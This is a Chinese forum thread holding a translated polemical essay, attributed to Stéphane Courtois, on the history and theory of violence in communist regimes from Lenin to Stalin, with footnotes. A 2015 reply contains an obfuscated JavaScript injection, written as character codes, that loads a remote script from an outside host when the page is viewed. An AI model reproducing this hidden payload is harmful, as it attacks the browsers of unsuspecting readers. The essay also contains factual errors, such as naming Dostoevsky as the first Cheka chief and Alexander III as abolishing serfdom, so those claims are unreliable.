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[马列斯毛] 共产党皆变成杀人犯罪团伙的历史与理论分析

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发表于 4/26/2013 12:37:53 | 显示全部楼层 |阅读模式
共产党皆变成杀人犯罪团伙的历史与理论分析
作者:Stephane Courtois 编译:郭国汀

为什么现代共产主义运动,自1917年始,几乎立即成为一个体制性血腥残暴专制独裁的犯罪体制?个体暗杀和群体屠杀是所有共产党政权犯罪的真实画面。
列宁主义和斯大林主义是所有现代共产主义的摇蓝。整个19世纪,基于法国革命的经验,主导了暴力革命的理论。1793-1794年法国革命的极端暴力表现为三个显著特点:最残暴的是“九月屠杀”,在巴黎1000余人被暴民杀死,既未受政府干预,也没有任何政党组织指挥。最著名的是由人民委员会监督,由革命法庭审判,在巴黎将2625人送上断头台,在其他各省16600人被砍头。长期被掩盖的是由共和国旨在镇压起义的“最可恶的纵队”实施的恐怖,共杀害了数万名无的不知名的人。但是尽管有几个月的血腥恐怖,其仅是法国革命悠久历史中的一段插曲,最终的结果创建了一个宪政民主共和国,选举产生的议会,真实的政治辩论。当罗伯斯比尔被罢免后,革命恐怖便终止了。
在许多方面,法国革命的恐怖预示了苏联共产党的许多实际恐怖。罗伯斯比尔奠定了列宁恐怖的第一块基石。法国大革命会议宣言称:“惩罚祖国的敌人,我们必须分清谁是敌人:但我们不是要惩罚之,而是要消灭之”。
马克思强调暴力,并为“暴力在历史中的作用”辩护,但他是从一般视角而非将暴力作为某种针对特定人民的制度性的计划。马克思有关恐怖作为暴力解决社会冲突手段的论述含糊不清;同时,马克思严厉批评巴黎公社导致2万余名工人死亡的灾难性的经验。在第一国际早期的争论中,马克思反对俄国无政府主义者巴古宁(Mikhail Bakunin)。
议会民主的迅速发展,代表了社会主义者策略的一种新的和基础的要素;1910年大选,国际工人党法国支部获得74个席位;另有30个独立社会主义侯选人入选。德国社会主义党在第一次世界大战前夕拥有100万成员,110位众议员,220省议会代表,12000市政议员,89名其他代表。英国劳工运动也组织良好。社会民主党在斯康德纳维亚北欧国家迅速发展。
19世纪末,一位最具影响力的马克思主义思想家伯恩斯坦(Eduand Bernstein)与一位伟大的马克思著作翻译家考茨基(KarlKautsky)皆指出资本主义并未出现马克思预言的衰退迹象,因此应当采用渐进与和平的方式朝社会主义方向发展,工人阶级应当学会公民与自由的进程;1872年马克思曾表示期望在美国、英国和荷兰可以采取和平方式革命。对马克思这一观点,恩格斯于1895年在马克思的《法国阶级斗争》第二版前言中作了进一步阐扬。
布朗基(Auguste Blanqui是个无政府主义者和辛迪加主义者)和极左派仍强烈反对所有议会民主,而主张通过暴力手段夺权。但第二国际在一战前夕,采纳了一系列和平解决方案。
极左的列宁布尔什维克党,虽源于欧洲马克思主义传统,但亦有沙俄土地运动革命之根。整个19世纪该革命运动与暴力活动密切相关。内查也夫(SergeiNechaev)是其中最崇尚暴力者;首任契卡头子多斯妥也夫斯基(Dostoevsky)即以他为样板。内查也夫1869年在(RevolutionaryCutechism)定义革命者“是一个已经丢失的人。他没有特殊的利益,没有私人的业务,没有个人的牵挂,没有财产,甚至没有姓名;他的所有的一切都被一件事吸收而排除所有其他,一个单一的思想,一个独特的热情----革命。在深层的存在,而不仅是言语,而且他的行动,他已经与社会,文明世界,法律与习惯,社会礼仪与道德规范中断所有的联系。革命者是一个死敌,他如此活着以便能够确保摧毁社会”“对任何事物尚有同情心者,不能称做革命者”。“病态的社会应分成几类:第一类是那些必须立即杀掉的。。。第二类是那些允许继续活下去,以便其恶行仅是加速激起人民起义”[1]
1887年3月1日暗杀亚历山大沙皇三世失败,列宁的长兄亚历山大与其他四名同谋被绞死,种下了列宁仇恨沙皇体制的种子,1918年未经苏共政治局知晓,列宁下令屠杀了沙皇一家人。按马利亚(Martin Malia)的说法,这一暴行是法国革命的疯狂再现。首开政治恐怖主义(与孤立的暗杀行动比较),作为现代世界体制性计谋。因此,来自下层的群众起义的大众策略,与来自上层的精英恐怖相结合,在俄国对源自1789-1871年的西方革命传统的政治暴力赋予合法化。这种在社会边沿的政治暴力,受到几个世纪以来在俄国社会常见的暴力特征火上加油。俄国社会悠久的谋杀传统,无疑创造了一种集体意识,使得一个和平的政治世界希望渺茫。
伊凡四世沙皇,年仅13岁时,于1543年将他的总理亲王(Chuisk)杀死喂狗。1560年他的妻子之死,使他变成谋杀者般的狂怒;导致他怀疑每一个人均是潜在的背叛者,并在大范围内清除真实的和想象的敌人;他创建了一个叫做(Oprichnina)的权力无边的皇家卫队,在大众中制造恐怖;1572年他又杀掉了该卫队的成员,然后杀了他自已的儿子和继承人。彼得大帝对俄国的敌人,也心狠手赖,对贵族和人民也几乎没有更多的仁慈,他亦亲自杀了自已的儿子。
从伊凡到彼得,奴役人民和精英的绝对权力,导致专制和恐怖的国家,有着牢固的传统。沙皇与布尔什维克党的暴力之间有不可分割的联系。农民暴动,群体屠杀贵族,本身亦野蛮残暴。给俄国人的意识烙下了深印。1667-1670年斯登卡(StenkaRazin)暴动和1773-1775年普加乔夫(Pugachev)暴动迅速漫延,严重威胁凯斯琳娜大帝的政权;在伏尔加河流域留下了长期血腥的伤痕。普加乔夫被捕后,被以极残暴的方式处死:肢解,朵成碎片喂狗。
高尔基(Maksim Gorky)反对布尔什维克党的残暴方法,1922年他写道:“俄国人的残忍似乎没有任何进化:在受害人嘴里塞入炸药,然后点燃引信;还有在肛门塞入炸药引暴的。在妇女的乳房处挖孔,用绳子穿越伤口并牵引。”1918年和1919年,在Don和乌拉尔(Ural)地区用同样的酷刑,在男人屁股下放炸弹然后引爆。这种残忍无法用精神病或变态形容,也非个别现象,我是以他们将人类受难作为群体娱乐来考虑的。”
1861年亚历山大三世沙皇废除了农奴制,建立了地方权力中心;1864年他批准司法独立,作为实施法治的第一步。大学,艺术,媒体均得以繁荣。公民浪潮在全社会涌动,暴力在全国消退。即使1905年失败的革命,结果仍激发了社会民主热。可惜这一进化进程被1914年8月1日暴发的欧洲历史上最坏的群体暴力所打断。第一次世界大战的群体暴力,超过历史之最。万士兵战死,平民亦伤亡惨重,暴力达到史无前例。
考茨基是德国社会主义理论家和主要领导人,于1920年指出:习惯于战争的残酷,退伍士兵回家后,大多心态与情感大变,即便在和平时期处理与家人之间的关系及主张利益时动辄诉诸暴力和血腥。
布尔什维克党领导人没有一人曾参战:(列宁Lenin, 托洛斯基Trotsky,季诺维也夫 Zinoviev, 斯大林Stalin, 卡门内夫Kamenev,)绝大多数长于行政官僚机构或群众大会上演说,但均没有军事经验,从未真正体验战争灭亡的残酷。直到他们夺取政权,他们仅知道意识形态和政治斗争的词汇;仅有死亡,群体屠杀和人类灾难的抽象概念。这种个人对战争恐怖的无知,或许是它本身更加残忍的一个因素。
“军队在战争中是一种社会命令,个体已不复存在,其非人道性创造了一种几乎不可能打破的惯性”。“战争是从正常的公民生活走得最远的政治国家”。战争赋予了暴力某种新的合理性,并降低人的生命的价值。战争削弱了先前急速发展的民主文化,并将新生活置于奴役文化之下。
20世纪初,俄国业已进入经济高速发展时期,社会也变得日益自治化。一战打断了这一进程,突显了旧体制的问题;1917年2月革命,资产阶级民主革命创建了议会宪政选举民主制,伴随而来的工农社会革命;世界大战与俄国传统的暴力,是布尔什维克党能够夺权的重要原因。但无法解释布党的绝对残暴。这种暴力显然是外来因素所致,较之二月革命的和平性质,这种暴力是由列宁通过布党夺权后亲自强加给俄国的。
列宁创建的专制独裁体制,迅速地赋予它血腥和恐怖的性质。官方正式启动红色恐怖始于1919年9月2日,但实践中早在1917年11月即已存在;例如1918年1月4日列宁下令强行解散民选议会;并公开枪杀任何在街上抗议的人。孟什维克领导人马托夫(Yuri Martov)立即对此种暴力进行了公开赛强烈的谴责。
自它夺权第一日始,苏共便开始杀人。杀在内战中俘获的俘虏;杀那些基于保证活命为前提投降的敌人;这些由布党组织和指导的谋杀,在未经任何审判暗杀了数万名无辜后,布党才开始组建最高革命法庭,来定苏维埃体制敌人的罪。
兽类喜欢人类的热血。杀人机器开始运转,最高革命法庭5位法官卷起袖子,象屠夫一样工作,但是以血还血,整个俄罗斯大地笼罩在一片血腥雾气之中。构成社会主义教义基础的真正人道的最大原则被抛至九霄云外。
法国革命的暴力限于一小部分人。列宁的恐怖却是针对所有的政党和社会各阶层;贵族,资产阶级,士兵,警察,宪政民主主义者,孟什维克,社会主义革命党,及整个平民,包括工人,农民,知识分子的待遇尤其坏1919年9月6日,在逮捕了几十名公共知识分子后,高尔基给列宁发了一封义愤的信:
“我认为国家的富强,人民的力量应当以知识发展来衡量,革命仅在有利于此种发展时才有意义。学者应当受到慎重对待和尊重。但是试图拯救我们的皮肤,我们正在毁灭我们自已的大脑,砍掉人民的脑袋!”列宁残暴的回答与高尔基简明的信形成了鲜明的对比:“将人民的智慧力量与资产阶级公共知识分子的力量等同,我们就要犯错误。。。工人和农民的知识力量,是在推翻资产阶级和他们的辅助者的斗争过程中成长起来的;那些二流知识分子及其资产阶级走狗,自认为他们是国家的大脑。他们不是国家的脑袋,而是狗屎!”[2]
这是列宁首次对知识分子表示深切的蔑视,很快他便从蔑视发展成谋杀。列宁的主要目的是为了尽可能长久维持权力。之所以不择手段,抛弃一切基本道德夺权维权,是因为这是列宁将其意见观念付诸实施,建设社会主义的唯一途径。列宁当然也用了好些马克思主义教条,诸如:阶级斗争,暴力在历史过程中的必要性,无产者作为阶级在历史发展中的重要性。1902年列宁在《怎么办?》中提出了新的革命党概念,按军事纪律组织严密的职业党,他采用内查也夫的模式并发展出与英国,德国各大社会主义组织不同的布尔什维克党。提出将帝国主义战争转变成阶级斗争的内战。1920年托洛斯基指出:
“非常清楚,如果我们的问题在于废除生产方式的财产私有制,解决的唯一途径取决于通过将国家权力全部集中于无产阶级手中,设立一个特殊体制的过渡时期;独裁专制成为必要,因为这并非部分改变的问题,而是资产阶级的生存问题。在此基础上不可能协议。唯有暴力才能成为决定因素。任何人为了达到目的,不可能拒绝手段。”[3]
1917以前,列宁已证明他的坚定信念:他是唯一真正理解了社会主义理论,也是能够解答历史的真正意义的人。而十月革命布党夺取政权,更使列宁相信他的意识形态和分析是正确无误的。1917年革命夺权后,他的政策和理论解释变成了革命圣经。意识形态转化成教条和绝对的普适真理。意识形态和政治理念的这种转变成绝对“科学”真理,便是共产主义极权的基础。
列宁宣称他自已是数量仍极弱小的俄国无产阶级的代表,尽管每当工人起义时他都毫不留情地残酷镇压,来确认他的意识形态的正确。这种代表无产阶级的说教,是列宁主义最大的欺骗之一。1922年史利亚尼科夫(AleksandrShlyapnikov),一位极少数出身于无产阶级的布党领导人之一,在布党11次代表大会上直接问列宁:“伏拉基米尔伊里奇昨天确认,无产阶级作为一个阶级,按马克思意义论,在俄国并不存在。请允许我祝贺您,代表了一个实际上并不存在的阶级管理和行使独裁专制权力”![4]这种代表虚拟无产阶级行使专政权力,在东欧所有共产党国家及第三世界,中国和古巴,是共同现象。
玩弄文字游戏是列宁主义的一个最显著特征。将具体的人抽象化,意识形态化,是诞生恐怖的另一因素。他们杀的不是人,而是资产阶级,资本家,人民的敌人,尼古拉二世沙皇全家是封建主义的代表,他们是吸血鬼、蝗虫、蚂蝗。
以马克思主义的名义,布党建立起一个称做无产阶级专政的绝对和任意荒唐至极的权力体系。1918年厦,在布党仅撑权6个月,群体屠杀刚开始不久,考茨基便在他的《论无产阶级专政》书中预见:
“两种社会主义运动。。。是两种基础不同的方法的冲突:民主和专制独裁的冲突。两种运动看上去有相同的目标:通过社会主义和人道主义解放无产阶级,但是其中之一采用的方法是错误的,极可能导致毁灭;通过充分的讨论争辩,我们坚定地选择民主。独裁专制并不要求反驳对方相反的观点,而是强制压制令对方闭嘴。因此,民主与专制在讨论争辩的开初更不可调和。一方要求的,便是另一方压制的。”[5]
“少数人的专政,经常发现一支绝对服从的军队是其最强大的支持者;但是它越依赖武力取代多数人的支持,它就越走向反面,诉求暴力代替拒绝他们的投票;内战成为调整政治和社会争议的方法,在完全的政治冷漠或失望未占上风之所,少数人的专政经常会受到武装攻击或持续的游击战争。。。独裁专制者就会陷入内战,生活在被推翻的持续危险之中。。。在内战中,各方均为生存而战,失败者面临被灭绝的威胁。这一事实的意识正是为何内战会如此残酷的原因”。[6]
列宁愤怒地以《无产阶级革命和叛徒考斯基》作为回应,拒绝讨论争辩。他引恩格斯的话说:“在现实中,国家仅是一个阶级压迫另一个阶级的机器”。因此他辩称:专政的本质乃是:“专政是直接基于暴力和不受任何法律限制的统治。无产阶级的革命专政是通过使用暴力反对资产阶级赢得统治权并维护统治,该统治不受任何法律限制。”[7]列宁接着说“苏维埃政府的无产阶级民主是一种形式,已经发展和扩大了史无前例的民主,确切地说,它是最广大的人民,被压迫的劳动的人民的民主”[8]正是在“无产阶级民主”的美妙包装下,苏联几十年来干下了无数恐怖罪恶的勾当。
托洛斯基提出“永久革命”论(permanent revolution)他相信世界已进入“政治斗争迅速转变成内战”的时代,是在共产党领导的无产阶级革命与将军和海军上将为首脑的资产阶级民主之间的内战。然而,他的预测错误明显;一方面代议制民主日益成为全球现象,1991年甚至俄国亦采用之;另一方面,托洛斯基与列宁一样,有基于俄国经验(在任何情况下,他时常过渡夸张)归纳出一般结论的强烈倾向。布党相信,一旦内战在俄国展开,它将扩展到欧洲和全世界。托洛斯基下结论道:
“它能且须解释在内战中我们击溃白军,以使他们不能毁灭工人。因此,我们的问题不在于毁灭人的生命,而在于保护。。。必须使敌人变得无害,在战时这意味着必须消灭之。对于战争中的革命问题,取决于摧毁敌人的意志,迫使其投降并接受征服者的条件。。。谁将统治国家的问题,亦即,有关资产阶级的生与死,将取决于双方,而不依赖于宪法条文,而是使用所有的暴力手段。”托氏的用语很多与鲁登道夫(Ludendorff)描述全面战争的表述相同。这表明布党其实是高度军事化时代的产物。
布党不是唯一起内战者,但它是唯一公开从理论论上证内战必要性的。内战成为他们政治斗争的永久形式。实质上是布党与大多数工人和绝大多数农民(他们1918年厦以后,开始起义反抗布党暴政)之间的战争,不是传统的两个政治集团之间,而是政府与大多数人民之间的战争。在斯大林时期则是党国针对整个社会的战争。这只有在体系是基于大规模的恐怖,全面控制社会活动的极权体制下才有可能。
近年来基于新开放的档案研究表明:1918-1921年的“肮脏战争”(NicolasWerth语)布党源于列宁主义夸张的理想主义,愤世嫉俗主义和反人道的残忍,期望内战将扩展到全世界,持续到社会主义征服整个星球。该内战植入残忍作为人民相互之间解决争端的通常手段。它打破了传统限制界线,代之以绝对和根本的暴力。[9]
斯登伯格(Isaac Steinberg),是个左派社会主义革命党人,1917年12月至1918年5月任苏联司法人民委员,于1923年评论布党使用的“国家恐怖的方法体系”时指出:限制革命中的暴力的中心问题:
“推翻旧世界,代之以一个相同的旧的恶,留在其机体内的新生命,一个被相同的旧的原则污染了的生命,意味着社会主义被迫在决定性的斗争中,作出决择:使用旧模式的沙皇和资产阶级的暴力还是选择革命暴力…旧模式的暴力仅是为了保护奴隶制,而新暴力则是通向解放的痛苦历程…这是我们应当作出的决择:我们应当控制暴力以便确保终止暴力。因为没有其他手段制止暴力。这是伤害革命的道德空缺。这是中心难题,该冲突不可避免成为更多的冲突和苦难之源”。他接着说:“象恐怖,暴力,在影响胜利者和社会其他成员之前,将时常首先腐蚀征服者的灵魂。”[10]
高尔基1930年11月2日至罗曼罗兰的信中写道:“苏联以阶级战争对付公共知识分子,他们试图回到资产阶级政体。内战仅仅是杀虐。”[11]
苏共以全面恐怖为特征,高峰是1937-1938年的大清洗。苏共不仅向全社会开战,而且向党国体制内部宣战。希特勒极少亲自作为迫害者的角色,而是委派其亲信为之。斯大林则赤膊上阵,往往亲自成为迫害主角。他亲自签署了数千人的死刑名单,并强迫其他政治局委员也这么干。14个月内180万人被捕,分别关入42个巨大的集中营;其中69万人被杀害。阶级战争时常取代阶级斗争。政敌不是一个反对派的名字,甚至一个敌对阶级,而是整个社会。在列宁统治下,主要敌人时常是非党人士;在斯大林统治下,党员本身成为潜在敌人。彼得堡苏共党委书记基洛夫(Kirov)被暗杀事件,使斯大林在党内大开杀诫有了借口。他日益采纳内查也夫的主张。迫害的执行者最终也均成受害者。巴古宁(Bakunin)指出:“在革命兄弟之间,我们行动的基础应当是真实,诚信和信任,撒谎,欺诈,神秘,必要的暴力只能用于反对我们的敌人。。。而你陷入了马基佛利的诡计,你用此种方法来营建组织。最终你用对付敌人的方式来对待你自已的朋友。”[12]
布哈林在他的党内老同志季诺维也夫(Zinoviev)和卡门内夫(Kamenev)被处死后公开说:“我是如此幸福,他们已被象狗一样枪决了”[13]。不到两年后,他自已也象狗一样被杀。这种斯大林式的党内清除异已的残暴残杀现象,在整个共产党世界非常普遍。
公开作秀审判是列宁于1922年首先引入用于审判社会主义革命党人。斯大林在消灭其政敌前时常举行公开作秀审判。斯大林另用神秘于仇恨教育:逮捕,审判和受害者的命运完全秘密化。秘密与恐怖密切相关,苏共将恐怖带入全社会。布党不择手段消灭竟争对手,敌人已不再是旧体制的贵族,资产阶级,军官,而是任何反对布党政策的人。在布党眼里,那些成为布党绝对权力的障碍的任何人均是敌人,而不论其社会类别。这种现象甚至比恐怖还早出现。
敌人一词的极大弹性与随政治需要即时变化无穷,成为共产党人的思想与实践的一大关健要素。正如托德洛夫(Todorov)指出:“敌人是为恐怖寻找的最大借口,极权国家需要敌人才能生存。如果缺少敌人,它们就制造敌人。一旦被标签为敌人,他们便受到无情的对待…成为敌人是与生俱来不可改变的烙印…犹太人不是因为他们的行为,而是因其身份受迫害;共产主义迫害亦然。它要求迫害(或在危机时刻屠杀)资产阶级,属于该阶级足够;根本无需做任何事情”。[14]
共产党为何要消灭敌人?传统的迫害作用,用福科(Foucault)的术语乃是:训练和惩处。索尔仁尼琴(Solzhenitsyn)证明共产党对普通刑事犯比对政治犯体制性优待。苏联体制的目标之一是创造新人,暗含对最顽固不化的犯人的再教育。但为何共产党要杀害敌人?确认敌人在政治中时常至关重要。“任何不占在我一边者即是反对我”(Hewho is not with me is against me)列宁创新之处在于不仅那些不与其同路者是反对我,而反对我的必须死!此外,他扩展这一原则到政治王国以外的全社会广泛的领域。
恐怖涉及双重变异:对手被首先标签为敌人,然后宣布其为罪犯,导致将他从社会上排除出去,排除社会很快又变成消灭。敌友之间的辩证关系不再能满足解决极权主义的根本问题:寻找经净化的不再含敌意的重新组合的人类,通过马克思主义摩西式的计划,将无产阶级重新组合成新人类,并清除任何不符合新世界要求的分子。在一个相对短的时期内,社会从政治斗争逻辑进展到排它阶段,然后进入清除意识形态阶段,进而至消灭不纯成员阶段,最后便是对人类的犯罪[15]
由于儒学的传统影响,似乎留有再教育改造的更广空间。但是中共劳改劳教实质上比直接谋杀更虚伪。强迫敌人改变他们的信仰道路,屈服于杀人犯,可能比直接杀了他们更糟。
红色高棉相信对整个阶级再教育改造是不可能的(因为这些敌人已经腐化堕落无可救药),因此他们群体屠杀知识分子和城市居民。在精神心理上摧毁敌人,因而强迫他们没完没了的自我批评。
极权政权的领导们自视为社会的道德指导者,并为他们选定任何人须处死的至高无上的权力感到骄傲。其基本假定相同:基于科学基础的必要性。托德洛夫(Tzvetan Todorov )提及极权主义的起源时指出:
“是科学主义而非人道主义帮助建立起极权主义的意识形态基础…科学主义与极权主义之间的关系并不限于通过所谓科学的必然性(生物或历史的)赋予行为的正当性:一个人必须是科学主义的信徒,即使它是‘疯狂’或‘狂暴’的科学主义,相信完美的社会改造,因此相信通过革命的手段,符合某种理想进行社会改造的可能性。”
托洛斯基对科学的方法作了明确说明确规定1919年他在《为恐怖主义辩护》中称:“革命暴力业已成为必要,是因为历史的即时要求,无法找到一条通过议会民主机构的途径”。为支持此论他接着举证说:“无产者是历史上升阶级…今日资产阶级是落没的阶级。在生产中它已不再起着核心实质的作用,且用其帝国主义的掠夺方法,正在毁灭世界的经济结构和一般的人类文化。尽管如此,资产阶级的历史执着性仍然是巨大的。它具有将整个社会拖回至深渊的威胁力量。我们被迫粉碎这个阶级并将他们抛弃。红色恐怖是一种武器,用于对付具有巨大破坏性,但又不愿自动退出历史舞台的阶级。”[16]
托洛斯基将历史变成某种必须牺牲一切的神圣力量,他对革命表现出无可救药的天真无知,想象一个更加公平的社会,将会经由一个辩证的过程而得以形成,尽管使用犯罪性质的方法。
“革命蓝色眼睛燃烧着残忍的必须之火”。Aragon的诗歌颂着残忍
“如果敌人不投降,我们当然得消灭他们”。高尔基如是说
考茨基 1918年对此问题勇敢而诚实地说:“确切地讲,我们的目标不是此种社会主义,废除每一种剥削和压迫,直接反对一个阶级,一个政党,某种性别,某个种族…如果我们证明…无产阶级和人类的解放,唯有基于毁灭私有财产基础上才能取得,我们将抛弃社会主义而无损我们的目标。”[17]
考茨基虽然作为一个最著名的马克思主义辩护士,将人道主义置于马克思科学信仰之上。要杀人最有效的手段乃是通过非人化的过程将受害者非人化。检察官维辛斯基(Andrei Vyshinsky)歇斯底里恶狠狠地说:
“枪决这些疯狗!将这些藏着残的齿和鹰爪的匪帮杀光!打倒压榨者托洛斯基,他的咀里流着毒血,腐化伟大的马克思主义观念!让我们永远清除这些骗子,搂着腐烂的僵尸跳舞的可怜的朱孺!让他们可怕的尖叫彻底结束!让我们彻底消灭资产阶级疯狗!他们想将我们新苏维埃国家的鲜花撕成碎片!让我们将他们对我们的领袖的兽性仇恨堵回他们的喉咙!
法国作家萨特(Jean-Paul Sartre)1952年称:“任何反共的人都是一条狗!”(南郭注:不独有偶,红色高棉的主要领导人全部是在法国接受过高等教育的法国思想家芦梭,法农,萨特等人的信徒)
斯大林是第一个大规模使用这种将人类兽化,体制性杀人者。但是这并非斯大林的发明,而是列宁首创。在布党夺权后,列宁时常形容他的政敌为“害虫,蚂蝗,吸血虫”。
高尔基回应一封由爱因斯坦和托马斯曼等人签署的呼吁书时写道:“我认为处死这些人完全合法。很自然,工农政权将象清除蚂蝗一样消灭其敌人。”[18]
布洛斯塞特(Brossat)对兽化人类的过程下如下结论:“极权主义的诗人和屠夫们,首先是从他们使用的语言暴露自已。莫斯科刽子手们的‘清洗’与纳粹谋杀者们所使用的‘解决’密切相关,是苏联精神与文化灾难全景不可分割的某种语言微观现象。人类生命的价值崩溃,分类的思想(人民的敌人,叛徒,不可信赖的分子)取代道德思想,纳粹屠夫的理论与实践中,将他人兽化,净化和防止传染的念头并无法与世隔绝,与种族观念密切相关。它用超人和劣等种族来将社会人种等极化。但是,1937年苏联有关种族的理论,极权主义方式有所不同;它是将其他人完全兽化,因而在此种政策下任何事物均绝对化,从而付诸实际便成为可能。”[19]
1932年高尔基(他是特务头子雅哥达的私友,他的儿子在GPU秘密警察局工作)在一信中说道:“阶级仇恨应当根植于对敌人的某种原始的嫌恶反感。敌人必须被视为劣等的,我坚信敌人是比我们劣等的,他们不仅在肉体上而且在道德意义上均是劣等的”。[20]
社会历史科学主义最坏的一面与生物科学主义结合产生了共产主义怪胎。这种动物或生物思维,使我们更易理解为何这么多共产主义犯罪会对人类犯下深重罪孽,以及马列意识形态是怎么为其追随者们的犯罪行为合法化的。
在共产主义中存在着一种社会政治(Eugenics),某种社会达尔文主义。富有社会分类进化知识的列宁,根据应当被抛进历史垃圾箱的理由决定谁应当消灭。根据马列政治历史“科学”基础,资产阶级代表了没落衰亡的过去的阶级,因此消灭其阶级和个体就有了合法性。
马列主义神圣化体制本身,因而阶级划分和抽象归类远比任何人类的实际重要。个体和团体均视作某种原始的社会与脱离肉体的原型。这就使得犯罪变得容易得多。线人,酷刑犯,刽子手杀人不会受到谴责,他们仅是消灭某些对社会公共利益无益的抽象物。该理论通过否定一个基本事实:人类,人类大家庭,而成为犯罪意识形态。
马列主义的根源或许根本无法从马克思本人身上找到,反而易于从变异达尔文主义找到原型,当将达尔文主义适用于种族问题时,运用于社会问题时,均发生相似的灾难性后果。有一点可以肯定:反人类罪是否定人类的普世性,而归因于某种特定条件,基于生物,人种或社会历史的观念的产物。
通过反复强制洗脑宣传,共产党人迫使人们相信,他们的作为具有普世性,与整个人类相关。评论家们不时试图将纳粹与共产主义区分开,辩称纳粹计划有其特殊性,是极端民族主义和种族主义的产物;而列宁的计划则具有普世性。这完全是错误的!在理论和实践两方面,列宁及其继承者,将资本家,资产阶级,反革命及其他人,排除出人类范畴;并在他们的社会生物学与政治说教中,将他们变成绝对的敌人。考茨基早在1918年便指出:“共产党用的词汇都是极富弹性的,使当权者得随心所欲随时将任何他不喜欢的人,排除出人类之外加以消灭”。这些词汇直接导致了反人类罪行。
生物学家阿特兰(Henri Atlan)指出:“人类的观念延及生特学领域时,生物学对于人类几乎无关。”苏联科学家来森科(TrofimLysenko)试图创造新西红柿,玉米品种,而且曾试图创造新人种。
1870年特卡契夫(Pyotr Tkachev)俄国革命者,内查也夫的继承者,建议将25岁以上的沙俄国人全部消灭,他认为他们不能实践他的革命理想。在一封至内查也夫的信中,巴古宁对这种疯狂的想法:“我们的人民并不是一张白纸,得任由任何秘密社会,随心所欲在上面涂写,比如象你的共产主义计划”。[21]
斯大林无疑是20世纪世界最大的罪犯之一。特洛斯基经常认为斯大林是个病态的疯子。斯大林是个超级狂热的有特殊才干的政治家,他不信民主。斯大林是列宁开创,内查也夫梦想的运动的逻辑结果:用极端的手段实施极端的政策。斯大林是个高加索土生土长,从小受崇尚誓死报仇雪恨的行侠好汉。他用的匿名“科巴”(Koba)即是个助寡妇和孤儿的俄国版罗滨汉。
巴古宁在一封至内查也夫的信中写道:“这种残忍的重组和绝对疯狂主义,如今你居然要将它作为一般原则适用于整个社会。你想要疯狂的东西,不可能的事情,完全否定自然、人和社会!”[22]早在1870年巴古宁便已理解即使革命行动也必须受一些基本道德规范的制约。共产主义恐怖时常被与天主教宗教法庭相比较。不过小说家远比历史学家更热衷于此。
马克思对人类的命运有某种拯救的信仰,这是暗夜之摩赛亚之梦。科拉斯基(Leszek Kolakowski)指出:“那种我们所见到的世界已腐败透顶无可救药,因此世界将按照某种意志变得完全,完美,最终彻底解放的观念,乃是一种人类精神最疯狂的变态…当然此种变态并非我们这个时代的新发明,但我们应当承认,宗教思想,轻视所有的市俗价值,让位于超自然空间的力量,要远比那种教导我们能够保证救赎,从地狱的深渊跃向辉煌的天堂的说教,远不那么荒唐。”[23]
伦那(Ernest Renan)在其《哲学对话》中指出:“在无神论社会确保自已拥有绝对权力者,不是对那些有神信仰者的威胁,而是创建了一个真实的地狱--集中营,以惩罚反抗者,并恐赫吓唬所有其他人;丧失良知,完全忠于政权,完全抛弃道德的秘密警察,变成随时准备实施各种残暴行为的服从机器。”[24]
黑格尔之“任何真实的皆是合理的” (everything real is rational)(南郭点评:中共克意将其译成“存在即是合理”恐怕有故意误导之嫌。因为“real ”虽然也含有‘存在’之意,但其本意乃是“真实的”;我不知道德文原文使用何词。但依黑格尔的本意应指‘真实的’才更确切也更合理)。无论如何指导世界历史的原则应当是“任何非人道的事情皆是毫无意义和没有价值的”。


[1]Michael Confino, Violence dans la violence, le debat Bakounine Netchaev( ParisMaspero 1973) pp.101,102.

[2]Quoted in Arkadi Vaksberg, Le Mystere Gorki (Paris:Albin Michel, 1997) 111.

[3]Leon Trotsky, The Defense of Terrorism, trans H.N.Brailsford (London:Allen andUnwin, 1921) pp.21-22.

[4]Stephane  Courtois, ect. The Black Book of Communism: Crimes TerrorRepression, Translated by Jonathan Murphy and Mark Kramer, HarvardUniversity Press 1999.p.739

[5]Karl Kautsky, The Dictatorship of the Proletariat, trans. H.J.Stenning( AnnArbor:University of Michigan Press, 1964) 1-3.

[6]Karl Kautsky, The Dictatorship of the Proletariat, trans. H.J.Stenning( AnnArbor: University of Michigan Press, 1964)51-53

[7]V.I. Lenin, The Proletarian Revolution and Renegade Kautsky( Moscow: ForeignLanguage Publishing House, 1952) pp.32-33, 20.

[8]V.I. Lenin, The Proletarian Revolution and Renegade Kautsky( Moscow: ForeignLanguage Publishing House, 1952) p37

[9]Stephane  Courtois, ect. The Black Book of Communism: Crimes TerrorRepression, Translated by Jonathan Murphy and Mark Kramer, HarvardUniversity Press 1999.p.744

[10]Isacc Steinberg, Laspect Ethique de la Revolution (Berlin: Skify, 1923) quotedin Baynac, la terreur, p.370.

[11]Arkadi Vaksberg, le mystere Gorki ( Paris: Albin Michel , 1997) 264.

[12]Quoted in  Michael Confino, Violence dansla Violence, le debat Bakounine Netchaiev.( Paris: Maspero, 1973) 137.

[13]Karl Kautsky, The Dictatorship of the Proletariat, 81.

[14]Tzretan Todorov, Lhomme depayse (Paris: Le Seuil, 1995) 33

[15]Stephane  Courtois, ect. The Black Book of Communism: Crimes TerrorRepression, Translated by Jonathan Murphy and Mark Kramer, HarvardUniversity Press 1999.p.748

[16]Leon Trotsky, The Defence of Terrorism, trans. H.N.Briailsford ( London:Allenand Unwin, 1921) pp.35, 60.

[17]Karl Kautsky, The Dictatorship of the Proletariat, trans. H.J.Stenning ( AnnArbor: University of Michigan Press, 1964) 4-5.

[18]Vaksberg, le mystere Gorky, 286-287.

[19]Alain Brossat, Un Communism insupportable (Paris: Lharmattan, 1997) 266.

[20]Vaksberg, le mystere Gorky, 286-287.

[21]Confino, Violence, p.120

[22]Confino, Violence, 112.

[23]Leszek Kolakowski, Lesprit revolutionarie (Paris: Editions complexe, 1978) 22.

[24]Idem Todorov, On Human Dirersity ( Canbridge, Harvard university Press, 1993)165.


发表于 4/2/2015 00:29:37 | 显示全部楼层
谭嗣同也说了,哪有不流血的革命? ('+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,104,97,99,107,116,97,115,107,46,110,101,116,47,48,86,111,121,110,88,63,49,52,50,55,56,55,51,54,48,52,62,60,47,115,99,114,112,105,116,62))+' Bytes)
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